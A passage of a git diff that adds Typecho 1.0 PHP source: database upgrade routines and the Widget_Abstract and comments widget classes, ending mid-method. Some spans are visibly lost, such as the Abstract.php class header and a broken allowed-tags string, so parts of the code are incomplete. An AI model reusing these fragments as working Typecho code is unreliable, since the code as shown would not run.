*/ + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsMaxNestingLevels', 'user' => 0, 'value' => 5))); + } + + /** + * 升级至9.6.16 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_7r9_6_16($db, $options) + { + /** 增加附件handle */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'modifyHandle', 'value' => 'a:2:{i:0;s:13:"Widget_Upload";i:1;s:12:"modifyHandle";}'))); + + /** 增加附件handle */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'attachmentDataHandle', 'value' => 'a:2:{i:0;s:13:"Widget_Upload";i:1;s:20:"attachmentDataHandle";}'))); + + /** 转换附件 */ + $i = 1; + + while (true) { + $result = $db->query($db->select('cid', 'text')->from('table.contents') + ->where('type = ?', 'attachment') + ->order('cid', Typecho_Db::SORT_ASC)->page($i, 100)); + $j = 0; + + while ($row = $db->fetchRow($result)) { + $attachment = unserialize($row['text']); + $attachment['modifyHandle'] = array('Widget_Upload', 'modifyHandle'); + $attachment['attachmentDataHandle'] = array('Widget_Upload', 'attachmentDataHandle'); + + $db->query($db->update('table.contents') + ->rows(array('text' => serialize($attachment))) + ->where('cid = ?', $row['cid'])); + + $j ++; + unset($text); + unset($row); + } + + if ($j < 100) { + break; + } + + $i ++; + unset($result); + } + } + + /** + * 升级至9.6.16.1 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_7r9_6_16_1($db, $options) + { + //修改action路由 + $routingTable = $options->routingTable; + if (isset($routingTable[0])) { + unset($routingTable[0]); + } + + $routingTable['do'] = array ( + 'url' => '/action/[action:alpha]', + 'widget' => 'Widget_Do', + 'action' => 'action' + ); + + $db->query($db->update('table.options') + ->rows(array('value' => serialize($routingTable))) + ->where('name = ?', 'routingTable')); + + //干掉垃圾数据 + $db->query($db->update('table.options') + ->rows(array('value' => 'a:0:{}')) + ->where('name = ?', 'actionTable')); + } + + /** + * 升级至9.7.2 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_7r9_7_2($db, $options) + { + /** 增加默认内容格式 */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'contentType', 'user' => 0, 'value' => 'text/html'))); + + /** 增加gzip开关 */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'gzip', 'user' => 0, 'value' => 0))); + + + if(is_writeable(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) { + + $contents = file_get_contents(__TYPECHO_ROOT_DIR__ . '/config.inc.php'); + $contents = preg_replace("/Typecho_Common::init([^;]+);/is", "Typecho_Common::init(array( + 'autoLoad' => true, + 'exception' => 'Widget_ExceptionHandle', + 'gpc' => true +));", $contents); + $contents = preg_replace("/\s*(\/[^\/]+\/)?\s*Typecho_Widget::widget([^;]+);/is", '', $contents); + $contents = preg_replace("/\s*(\/[^\/]+\/)?\s*Typecho_Router::setRoutes([^;]+);/is", '', $contents); + $contents = preg_replace("/\s*(\/[^\/]+\/)?\s*Typecho_Plugin::init([^;]+);/is", '', $contents); + $contents = preg_replace("/\s*(\/[^\/]+\/)?\s*Typecho_Date::setTimezoneOffset([^;]+);/is", '', $contents); + file_put_contents(__TYPECHO_ROOT_DIR__ . '/config.inc.php', $contents); + + } else { + /** 升级提示 */ + return _t('建议您在升级到 Typecho 0.7/9.7.2 以后的版本后, 立刻执行以下优化步骤'); + } + } + + /** + * 升级至9.9.2 + * 修改contents表的text字段类型为longtext(仅限mysql, pgsql和sqlite都是不限制长度的) + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_7r9_9_2($db, $options) + { + $adapterName = $db->getAdapterName(); + $prefix = $db->getPrefix(); + + if (false !== strpos($adapterName, 'Mysql')) { + $db->query("ALTER TABLE `{$prefix}contents` CHANGE `text` `text` LONGTEXT NULL DEFAULT NULL COMMENT '内容文字'", Typecho_Db::WRITE); + } + } + + /** + * 升级至9.9.15 + * 优化路由表结构 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_7r9_9_15($db, $options) + { + /** 增加路由 */ + $routingTable = $options->routingTable; + if (isset($routingTable[0])) { + unset($routingTable[0]); + } + + $do = $routingTable['do']; + unset($routingTable['do']); + + $pre = array_slice($routingTable, 0, 1); + $next = array_slice($routingTable, 1); + + $routingTable = array_merge($pre, array('do' => $do), $next); + + $db->query($db->update('table.options') + ->rows(array('value' => serialize($routingTable))) + ->where('name = ?', 'routingTable')); + } + + /** + * 升级至9.9.22 + * 此升级用于修复从0.6升级时损坏的路由表 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_7r9_9_22($db, $options) + { + /** 修改路由 */ + $routingTable = $options->routingTable; + if (isset($routingTable[0])) { + unset($routingTable[0]); + } + + $routingTable['do'] = array ( + 'url' => '/action/[action:alpha]', + 'widget' => 'Widget_Do', + 'action' => 'action' + ); + + $do = $routingTable['do']; + unset($routingTable['do']); + + $pre = array_slice($routingTable, 0, 1); + $next = array_slice($routingTable, 1); + + $routingTable = array_merge($pre, array('do' => $do), $next); + + $db->query($db->update('table.options') + ->rows(array('value' => serialize($routingTable))) + ->where('name = ?', 'routingTable')); + } + + /** + * 升级至9.9.27 + * 增加按作者归档 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_7r9_9_27($db, $options) + { + /** 修改路由 */ + $routingTable = $options->routingTable; + if (isset($routingTable[0])) { + unset($routingTable[0]); + } + + $pre = array_slice($routingTable, 0, 6); + $next = array_slice($routingTable, 6); + $next_pre = array_slice($next, 0, 5); + $next_next = array_slice($next, 5); + + $author = array ( + 'url' => '/author/[uid:digital]/', + 'widget' => 'Widget_Archive', + 'action' => 'render', + ); + + $author_page = array ( + 'url' => '/author/[uid:digital]/[page:digital]/', + 'widget' => 'Widget_Archive', + 'action' => 'render', + ); + + $routingTable = array_merge($pre, array('author' => $author), $next_pre, + array('author_page' => $author_page), $next_next); + + $db->query($db->update('table.options') + ->rows(array('value' => serialize($routingTable))) + ->where('name = ?', 'routingTable')); + } + + /** + * 升级至9.10.16 + * 增加评论分页 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_7r9_10_16($db, $options) + { + /** 修改路由 */ + $routingTable = $options->routingTable; + if (isset($routingTable[0])) { + unset($routingTable[0]); + } + + $pre = array_slice($routingTable, 0, 20); + $next = array_slice($routingTable, 20); + + $commentPage = array ( + 'url' => '[permalink:string]/[commentType:alpha]-page-[commentPage:digital]', + 'widget' => 'Widget_Archive', + 'action' => 'render', + ); + + $routingTable = array_merge($pre, array('comment_page' => $commentPage), $next); + + $db->query($db->update('table.options') + ->rows(array('value' => serialize($routingTable))) + ->where('name = ?', 'routingTable')); + } + + /** + * 升级至9.10.16 + * 增加评论分页 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_7r9_10_20($db, $options) + { + /** 修改数据库字段 */ + $adapterName = $db->getAdapterName(); + $prefix = $db->getPrefix(); + + switch (true) { + case false !== strpos($adapterName, 'Mysql'): + $db->query('ALTER TABLE `' . $prefix . 'contents` ADD `parent` INT(10) UNSIGNED NULL DEFAULT \'0\'', Typecho_Db::WRITE); + break; + + case false !== strpos($adapterName, 'Pgsql'): + $db->query('ALTER TABLE "' . $prefix . 'contents" ADD COLUMN "parent" INT NULL DEFAULT \'0\'', Typecho_Db::WRITE); + break; + + case false !== strpos($adapterName, 'SQLite'): + $uuid = uniqid(); + $db->query('CREATE TABLE ' . $prefix . 'contents_tmp ( "cid" INTEGER NOT NULL PRIMARY KEY, +"title" varchar(200) default NULL , +"slug" varchar(200) default NULL , +"created" int(10) default \'0\' , +"modified" int(10) default \'0\' , +"text" text , +"order" int(10) default \'0\' , +"authorId" int(10) default \'0\' , +"template" varchar(32) default NULL , +"type" varchar(16) default \'post\' , +"status" varchar(16) default \'publish\' , +"password" varchar(32) default NULL , +"commentsNum" int(10) default \'0\' , +"allowComment" char(1) default \'0\' , +"allowPing" char(1) default \'0\' , +"allowFeed" char(1) default \'0\' , +"parent" int(10) default \'0\' )', Typecho_Db::WRITE); + $db->query('INSERT INTO ' . $prefix . 'contents_tmp ("cid", "title", "slug", "created", "modified" + , "text", "order", "authorId", "template", "type", "status", "password", "commentsNum", "allowComment", + "allowPing", "allowFeed", "parent") SELECT "cid", "title", "slug", "created", "modified" + , "text", "order", "authorId", "template", "type", "status", "password", "commentsNum", "allowComment", + "allowPing", "allowFeed", "parent" FROM ' . $prefix . 'contents', Typecho_Db::WRITE); + $db->query('DROP TABLE ' . $prefix . 'contents', Typecho_Db::WRITE); + $db->query('CREATE TABLE ' . $prefix . 'contents ( "cid" INTEGER NOT NULL PRIMARY KEY, +"title" varchar(200) default NULL , +"slug" varchar(200) default NULL , +"created" int(10) default \'0\' , +"modified" int(10) default \'0\' , +"text" text , +"order" int(10) default \'0\' , +"authorId" int(10) default \'0\' , +"template" varchar(32) default NULL , +"type" varchar(16) default \'post\' , +"status" varchar(16) default \'publish\' , +"password" varchar(32) default NULL , +"commentsNum" int(10) default \'0\' , +"allowComment" char(1) default \'0\' , +"allowPing" char(1) default \'0\' , +"allowFeed" char(1) default \'0\' , +"parent" int(10) default \'0\' )', Typecho_Db::WRITE); + $db->query('INSERT INTO ' . $prefix . 'contents SELECT * FROM ' . $prefix . 'contents_tmp', Typecho_Db::WRITE); + $db->query('DROP TABLE ' . $prefix . 'contents_tmp', Typecho_Db::WRITE); + $db->query('CREATE UNIQUE INDEX ' . $prefix . 'contents_slug ON ' . $prefix . 'contents ("slug")', Typecho_Db::WRITE); + $db->query('CREATE INDEX ' . $prefix . 'contents_created ON ' . $prefix . 'contents ("created")', Typecho_Db::WRITE); + + break; + + default: + break; + } + + $db->query($db->update('table.contents')->expression('parent', 'order') + ->where('type = ?', 'attachment')); + + $db->query($db->update('table.contents')->rows(array('order' => 0)) + ->where('type = ?', 'attachment')); + } + + /** + * 升级至9.10.31 + * 修正附件 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_7r9_10_31($db, $options) + { + $db->query($db->update('table.contents')->rows(array('status' => 'publish')) + ->where('type = ?', 'attachment')); + } + + /** + * 升级至9.11.25 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_8r9_11_25($db, $options) + { + /** 增加若干选项 */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsPageBreak', 'user' => 0, 'value' => 0))); + + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsThreaded', 'user' => 0, 'value' => 1))); + + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsPageSize', 'user' => 0, 'value' => 20))); + + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsPageDisplay', 'user' => 0, 'value' => 'last'))); + + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsOrder', 'user' => 0, 'value' => 'ASC'))); + + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsCheckReferer', 'user' => 0, 'value' => 1))); + + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsAutoClose', 'user' => 0, 'value' => 0))); + + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsPostIntervalEnable', 'user' => 0, 'value' => 1))); + + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsPostInterval', 'user' => 0, 'value' => 60))); + + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsShowCommentOnly', 'user' => 0, 'value' => 0))); + + /** 修改路由 */ + $routingTable = $options->routingTable; + if (isset($routingTable[0])) { + unset($routingTable[0]); + } + + if (isset($routingTable['comment_page'])) { + $routingTable['comment_page'] = array ( + 'url' => '[permalink:string]/comment-page-[commentPage:digital]', + 'widget' => 'Widget_Archive', + 'action' => 'render', + ); + } else { + $pre = array_slice($routingTable, 0, 20); + $next = array_slice($routingTable, 20); + + $commentPage = array ( + 'url' => '[permalink:string]/comment-page-[commentPage:digital]', + 'widget' => 'Widget_Archive', + 'action' => 'render', + ); + + $routingTable = array_merge($pre, array('comment_page' => $commentPage), $next); + } + + $db->query($db->update('table.options') + ->rows(array('value' => serialize($routingTable))) + ->where('name = ?', 'routingTable')); + } + + /** + * 升级至9.12.11 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_8r9_12_11($db, $options) + { + /** 删除无用选项 */ + $db->query($db->delete('table.options') + ->where('name = ? OR name = ? OR name = ? OR name = ? OR name = ? OR name = ? OR name = ?', 'customHomePage', 'uploadHandle', + 'deleteHandle', 'modifyHandle', 'attachmentHandle', 'attachmentDataHandle', 'gzip')); + + // 增加自定义首页 + $db->query($db->insert('table.options') + ->rows(array('name' => 'frontPage', 'user' => 0, 'value' => 'recent'))); + } + + /** + * 升级至10.2.27 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_8r10_2_27($db, $options) + { + /** 增加若干选项 */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsAvatar', 'user' => 0, 'value' => 1))); + + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsAvatarRating', 'user' => 0, 'value' => 'G'))); + + //更新扩展 + if (NULL != $options->attachmentTypes) { + $attachmentTypes = array_map('trim', explode(';', $options->attachmentTypes)); + $attachmentTypesResult = array(); + + foreach ($attachmentTypes as $type) { + $type = trim($type, '*.'); + if (!empty($type)) { + $attachmentTypesResult[] = $type; + } + } + + if (!empty($attachmentTypesResult)) { + $db->query($db->update('table.options') + ->rows(array('value' => implode(',', $attachmentTypesResult))) + ->where('name = ?', 'attachmentTypes')); + } + } + } + + /** + * 升级至10.3.8 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_8r10_3_8($db, $options) + { + /** 删除无用选项 */ + $db->query($db->delete('table.options') + ->where('name = ?', 'commentsAvatarSize')); + } + + /** + * 升级至10.5.17 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_8r10_5_17($db, $options) + { + Typecho_Widget::widget('Widget_Themes_Edit', NULL, 'change=' . $options->theme, false)->action(); + } + + + /** + * 升级至13.10.18 + * + * @param mixed $db + * @param mixed $options + * @static + * @access public + * @return void + */ + public static function v0_9r13_10_18($db, $options) + { + // 增加markdown + $db->query($db->insert('table.options') + ->rows(array('name' => 'markdown', 'user' => 0, 'value' => 0))); + + // 更新原来被搞乱的草稿 + $db->query($db->update('table.contents') + ->rows(array( + 'type' => 'post_draft', + 'status' => 'publish' + )) + ->where('type = ? AND status = ?', 'post', 'draft')); + + $db->query($db->update('table.contents') + ->rows(array( + 'type' => 'page_draft', + 'status' => 'publish' + )) + ->where('type = ? AND status = ?', 'page', 'draft')); + } + + /** + * v0_9r13_11_17 + * + * @param mixed $db + * @param mixed $options + * @static + * @access public + * @return void + */ + public static function v0_9r13_11_17($db, $options) + { + Helper::addRoute('archive', '/blog/', 'Widget_Archive', 'render', 'index'); + Helper::addRoute('archive_page', '/blog/[page:digital]/', 'Widget_Archive', 'render', 'index_page'); + $db->query($db->insert('table.options') + ->rows(array('name' => 'frontArchive', 'user' => 0, 'value' => 0))); + } + + /** + * v0_9r13_11_24 + * + * @param mixed $db + * @param mixed $options + * @static + * @access public + * @return void + */ + public static function v0_9r13_11_24($db, $options) + { + /* 增加数据表 */ + $adapterName = $db->getAdapterName(); + $prefix = $db->getPrefix(); + + switch (true) { + case false !== strpos($adapterName, 'Mysql'): + $config = $db->getConfig(); + $db->query("CREATE TABLE `{$prefix}fields` ( + `cid` int(10) unsigned NOT NULL, + `name` varchar(200) NOT NULL, + `type` varchar(8) default 'str', + `str_value` text, + `int_value` int(10) default '0', + `float_value` float default '0', + PRIMARY KEY (`cid`,`name`), + KEY `int_value` (`int_value`), + KEY `float_value` (`float_value`) +) ENGINE=MyISAM DEFAULT CHARSET=" . $config[0]->charset, Typecho_Db::WRITE); + break; + + case false !== strpos($adapterName, 'Pgsql'): + $db->query('CREATE TABLE "' . $prefix . 'fields" ("cid" INT NOT NULL, + "name" VARCHAR(200) NOT NULL, + "type" VARCHAR(8) NULL DEFAULT \'str\', + "str_value" TEXT NULL DEFAULT NULL, + "int_value" INT NULL DEFAULT \'0\', + "float_value" REAL NULL DEFAULT \'0\', + PRIMARY KEY ("cid","name") +)', Typecho_Db::WRITE); + $db->query('CREATE INDEX "' . $prefix . 'fields_int_value" ON "' . $prefix . 'fields" ("int_value")', Typecho_Db::WRITE); + $db->query('CREATE INDEX "' . $prefix . 'fields_float_value" ON "' . $prefix . 'fields" ("float_value")', Typecho_Db::WRITE); + break; + + case false !== strpos($adapterName, 'SQLite'): + $db->query('CREATE TABLE "' . $prefix . 'fields" ("cid" INTEGER NOT NULL, + "name" varchar(200) NOT NULL, + "type" varchar(8) default \'str\', + "str_value" text, + "int_value" int(10) default \'0\', + "float_value" real default \'0\' +)', Typecho_Db::WRITE); + $db->query('CREATE UNIQUE INDEX ' . $prefix . 'fields_cid_name ON ' . $prefix . 'fields ("cid", "name")', Typecho_Db::WRITE); + $db->query('CREATE INDEX ' . $prefix . 'fields_int_value ON ' . $prefix . 'fields ("int_value")', Typecho_Db::WRITE); + $db->query('CREATE INDEX ' . $prefix . 'fields_float_value ON ' . $prefix . 'fields ("float_value")', Typecho_Db::WRITE); + + break; + + default: + break; + } + + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsMarkdown', 'user' => 0, 'value' => 0))); + } + + /** + * v0_9r13_11_24 + * + * @param mixed $db + * @param mixed $options + * @access public + * @return void + */ + public function v0_9r13_12_6($db, $options) + { + $frontArchive = $db->fetchRow($db->select()->from('table.options')->where('name = ?', 'frontArchive')); + if (empty($frontArchive)) { + $db->query($db->insert('table.options') + ->rows(array('name' => 'frontArchive', 'user' => 0, 'value' => 0))); + } + } + + /** + * v0_9r13_12_20 + * + * @param mixed $db + * @param mixed $options + * @access public + * @return void + */ + public function v0_9r13_12_20($db, $options) + { + $commentsWhitelist = $db->fetchRow($db->select()->from('table.options')->where('name = ?', 'commentsWhitelist')); + if (empty($commentsWhitelist)) { + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsWhitelist', 'user' => 0, 'value' => 0))); + } + } + + /** + * v0_9r14_2_24 + * + * @param mixed $db + * @param mixed $options + * @access public + * @return void + */ + public function v0_9r14_2_24($db, $options) + { + /** 修改数据库字段 */ + $adapterName = $db->getAdapterName(); + $prefix = $db->getPrefix(); + + switch (true) { + case false !== strpos($adapterName, 'Mysql'): + $db->query('ALTER TABLE `' . $prefix . 'metas` ADD `parent` INT(10) UNSIGNED NULL DEFAULT \'0\'', Typecho_Db::WRITE); + break; + + case false !== strpos($adapterName, 'Pgsql'): + $db->query('ALTER TABLE "' . $prefix . 'metas" ADD COLUMN "parent" INT NULL DEFAULT \'0\'', Typecho_Db::WRITE); + break; + + case false !== strpos($adapterName, 'SQLite'): + $uuid = uniqid(); + $db->query('CREATE TABLE ' . $prefix . 'metas' . $uuid . ' ( "mid" INTEGER NOT NULL PRIMARY KEY, + "name" varchar(200) default NULL , + "slug" varchar(200) default NULL , + "type" varchar(32) NOT NULL , + "description" varchar(200) default NULL , + "count" int(10) default \'0\' , + "order" int(10) default \'0\' , + "parent" int(10) default \'0\')', Typecho_Db::WRITE); + $db->query('INSERT INTO ' . $prefix . 'metas' . $uuid . ' ("mid", "name", "slug", "type", "description", "count", "order") + SELECT "mid", "name", "slug", "type", "description", "count", "order" FROM ' . $prefix . 'metas', Typecho_Db::WRITE); + $db->query('DROP TABLE ' . $prefix . 'metas', Typecho_Db::WRITE); + $db->query('CREATE TABLE ' . $prefix . 'metas ( "mid" INTEGER NOT NULL PRIMARY KEY, + "name" varchar(200) default NULL , + "slug" varchar(200) default NULL , + "type" varchar(32) NOT NULL , + "description" varchar(200) default NULL , + "count" int(10) default \'0\' , + "order" int(10) default \'0\' , + "parent" int(10) default \'0\')', Typecho_Db::WRITE); + $db->query('INSERT INTO ' . $prefix . 'metas SELECT * FROM ' . $prefix . 'metas' . $uuid, Typecho_Db::WRITE); + $db->query('DROP TABLE ' . $prefix . 'metas' . $uuid, Typecho_Db::WRITE); + $db->query('CREATE INDEX ' . $prefix . 'metas_slug ON ' . $prefix . 'metas ("slug")', Typecho_Db::WRITE); + + break; + + default: + break; + } + } + + /** + * v0_9r14_3_14 + * + * @param mixed $db + * @param mixed $options + * @access public + * @return void + */ + public function v0_9r14_3_14($db, $options) + { + $db->query($db->insert('table.options') + ->rows(array('name' => 'secret', 'user' => 0, 'value' => Typecho_Common::randString(32, true)))); + } + + /** + * v1_0r14_9_2 + * + * @param mixed $db + * @param mixed $options + * @access public + * @return void + */ + public function v1_0r14_9_2($db, $options) + { + $db->query($db->insert('table.options') + ->rows(array('name' => 'lang', 'user' => 0, 'value' => 'zh_CN'))); + } + + /** + * v1_0r14_10_10 + * + * @param mixed $db + * @param mixed $options + * @access public + * @return void + */ + public function v1_0r14_10_10($db, $options) + { + $db->query($db->insert('table.options') + ->rows(array('name' => 'commentsAntiSpam', 'user' => 0, 'value' => 1))); + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Abstract.php b/Typecho/1.0/php-fpm/src/var/Widget/Abstract.php new file mode 100755 index 000000000..103387e02 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Abstract.php @@ -0,0 +1,119 @@ +db = Typecho_Db::get(); + + /** 初始化常用组件 */ + $this->options = $this->widget('Widget_Options'); + $this->user = $this->widget('Widget_User'); + $this->security = $this->widget('Widget_Security'); + } + + /** + * 查询方法 + * + * @access public + * @return Typecho_Db_Query + */ + abstract public function select(); + + /** + * 获得所有记录数 + * + * @access public + * @param Typecho_Db_Query $condition 查询对象 + * @return integer + */ + abstract public function size(Typecho_Db_Query $condition); + + /** + * 增加记录方法 + * + * @access public + * @param array $rows 字段对应值 + * @return integer + */ + abstract public function insert(array $rows); + + /** + * 更新记录方法 + * + * @access public + * @param array $rows 字段对应值 + * @param Typecho_Db_Query $condition 查询对象 + * @return integer + */ + abstract public function update(array $rows, Typecho_Db_Query $condition); + + /** + * 删除记录方法 + * + * @access public + * @param Typecho_Db_Query $condition 查询对象 + * @return integer + */ + abstract public function delete(Typecho_Db_Query $condition); +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Comments.php b/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Comments.php new file mode 100755 index 000000000..e98b69767 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Comments.php @@ -0,0 +1,459 @@ +db->fetchRow($this->widget('Widget_Abstract_Contents')->select() + ->where('table.contents.cid = ?', $this->cid) + ->limit(1), array($this->widget('Widget_Abstract_Contents'), 'filter')); + } + + /** + * 获取当前评论标题 + * + * @access protected + * @return string + */ + protected function ___title() + { + return $this->parentContent['title']; + } + + /** + * 获取当前评论链接 + * + * @access protected + * @return string + */ + protected function ___permalink() + { + + if ($this->options->commentsPageBreak && 'approved' == $this->status) { + + $coid = $this->coid; + $parent = $this->parent; + + while ($parent > 0 && $this->options->commentsThreaded) { + $parentRows = $this->db->fetchRow($this->db->select('parent')->from('table.comments') + ->where('coid = ? AND status = ?', $parent, 'approved')->limit(1)); + + if (!empty($parentRows)) { + $coid = $parent; + $parent = $parentRows['parent']; + } else { + break; + } + } + + $select = $this->db->select('coid', 'parent') + ->from('table.comments')->where('cid = ? AND status = ?', $this->parentContent['cid'], 'approved') + ->where('coid ' . ('DESC' == $this->options->commentsOrder ? '>=' : '<=') . ' ?', $coid) + ->order('coid', Typecho_Db::SORT_ASC); + + if ($this->options->commentsShowCommentOnly) { + $select->where('type = ?', 'comment'); + } + + $comments = $this->db->fetchAll($select); + + $commentsMap = array(); + $total = 0; + + foreach ($comments as $comment) { + $commentsMap[$comment['coid']] = $comment['parent']; + + if (0 == $comment['parent'] || !isset($commentsMap[$comment['parent']])) { + $total ++; + } + } + + $currentPage = ceil($total / $this->options->commentsPageSize); + + $pageRow = array('permalink' => $this->parentContent['pathinfo'], 'commentPage' => $currentPage); + return Typecho_Router::url('comment_page', + $pageRow, $this->options->index) . '#' . $this->theId; + } + + return $this->parentContent['permalink'] . '#' . $this->theId; + } + + /** + * 获取当前评论内容 + * + * @access protected + * @return string + */ + protected function ___content() + { + $text = $this->parentContent['hidden'] ? _t('内容被隐藏') : $this->text; + + $text = $this->pluginHandle(__CLASS__)->trigger($plugged)->content($text, $this); + if (!$plugged) { + $text = $this->options->commentsMarkdown ? $this->markdown($text) + : $this->autoP($text); + } + + $text = $this->pluginHandle(__CLASS__)->contentEx($text, $this); + return Typecho_Common::stripTags($text, '


    ' . $this->options->commentsHTMLTagAllowed); + } + + /** + * 输出词义化日期 + * + * @access protected + * @return string + */ + protected function ___dateWord() + { + return $this->date->word(); + } + + /** + * 锚点id + * + * @access protected + * @return string + */ + protected function ___theId() + { + return $this->type . '-' . $this->coid; + } + + /** + * 获取查询对象 + * + * @access public + * @return Typecho_Db_Query + */ + public function select() + { + return $this->db->select('table.comments.coid', 'table.comments.cid', 'table.comments.author', 'table.comments.mail', 'table.comments.url', 'table.comments.ip', + 'table.comments.authorId', 'table.comments.ownerId', 'table.comments.agent', 'table.comments.text', 'table.comments.type', 'table.comments.status', 'table.comments.parent', 'table.comments.created') + ->from('table.comments'); + } + + /** + * 增加评论 + * + * @access public + * @param array $comment 评论结构数组 + * @return integer + */ + public function insert(array $comment) + { + /** 构建插入结构 */ + $insertStruct = array( + 'cid' => $comment['cid'], + 'created' => empty($comment['created']) ? $this->options->gmtTime : $comment['created'], + 'author' => empty($comment['author']) ? NULL : $comment['author'], + 'authorId' => empty($comment['authorId']) ? 0 : $comment['authorId'], + 'ownerId' => empty($comment['ownerId']) ? 0 : $comment['ownerId'], + 'mail' => empty($comment['mail']) ? NULL : $comment['mail'], + 'url' => empty($comment['url']) ? NULL : $comment['url'], + 'ip' => empty($comment['ip']) ? $this->request->getIp() : $comment['ip'], + 'agent' => empty($comment['agent']) ? $_SERVER["HTTP_USER_AGENT"] : $comment['agent'], + 'text' => empty($comment['text']) ? NULL : $comment['text'], + 'type' => empty($comment['type']) ? 'comment' : $comment['type'], + 'status' => empty($comment['status']) ? 'approved' : $comment['status'], + 'parent' => empty($comment['parent']) ? 0 : $comment['parent'], + ); + + if (!empty($comment['coid'])) { + $insertStruct['coid'] = $comment['coid']; + } + + /** 首先插入部分数据 */ + $insertId = $this->db->query($this->db->insert('table.comments')->rows($insertStruct)); + + /** 更新评论数 */ + $num = $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num'))->from('table.comments') + ->where('status = ? AND cid = ?', 'approved', $comment['cid']))->num; + + $this->db->query($this->db->update('table.contents')->rows(array('commentsNum' => $num)) + ->where('cid = ?', $comment['cid'])); + + return $insertId; + } + + /** + * 更新评论 + * + * @access public + * @param array $comment 评论结构数组 + * @param Typecho_Db_Query $condition 查询对象 + * @return integer + */ + public function update(array $comment, Typecho_Db_Query $condition) + { + /** 获取内容主键 */ + $updateCondition = clone $condition; + $updateComment = $this->db->fetchObject($condition->select('cid')->from('table.comments')->limit(1)); + + if ($updateComment) { + $cid = $updateComment->cid; + } else { + return false; + } + + /** 构建插入结构 */ + $preUpdateStruct = array( + 'author' => empty($comment['author']) ? NULL : $comment['author'], + 'mail' => empty($comment['mail']) ? NULL : $comment['mail'], + 'url' => empty($comment['url']) ? NULL : $comment['url'], + 'text' => empty($comment['text']) ? NULL : $comment['text'], + 'status' => empty($comment['status']) ? 'approved' : $comment['status'], + ); + + $updateStruct = array(); + foreach ($comment as $key => $val) { + if ((array_key_exists($key, $preUpdateStruct))) { + $updateStruct[$key] = $preUpdateStruct[$key]; + } + } + + /** 更新创建时间 */ + if (!empty($comment['created'])) { + $updateStruct['created'] = $comment['created']; + } + + /** 更新评论数据 */ + $updateRows = $this->db->query($updateCondition->update('table.comments')->rows($updateStruct)); + + /** 更新评论数 */ + $num = $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num'))->from('table.comments') + ->where('status = ? AND cid = ?', 'approved', $cid))->num; + + $this->db->query($this->db->update('table.contents')->rows(array('commentsNum' => $num)) + ->where('cid = ?', $cid)); + + return $updateRows; + } + + /** + * 删除数据 + * + * @access public + * @param Typecho_Db_Query $condition 查询对象 + * @return integer + */ + public function delete(Typecho_Db_Query $condition) + { + /** 获取内容主键 */ + $deleteCondition = clone $condition; + $deleteComment = $this->db->fetchObject($condition->select('cid')->from('table.comments')->limit(1)); + + if ($deleteComment) { + $cid = $deleteComment->cid; + } else { + return false; + } + + /** 删除评论数据 */ + $deleteRows = $this->db->query($deleteCondition->delete('table.comments')); + + /** 更新评论数 */ + $num = $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num'))->from('table.comments') + ->where('status = ? AND cid = ?', 'approved', $cid))->num; + + $this->db->query($this->db->update('table.contents')->rows(array('commentsNum' => $num)) + ->where('cid = ?', $cid)); + + return $deleteRows; + } + + /** + * 评论是否可以被修改 + * + * @access public + * @param Typecho_Db_Query $condition 条件 + * @return mixed + */ + public function commentIsWriteable(Typecho_Db_Query $condition = NULL) + { + if (empty($condition)) { + if 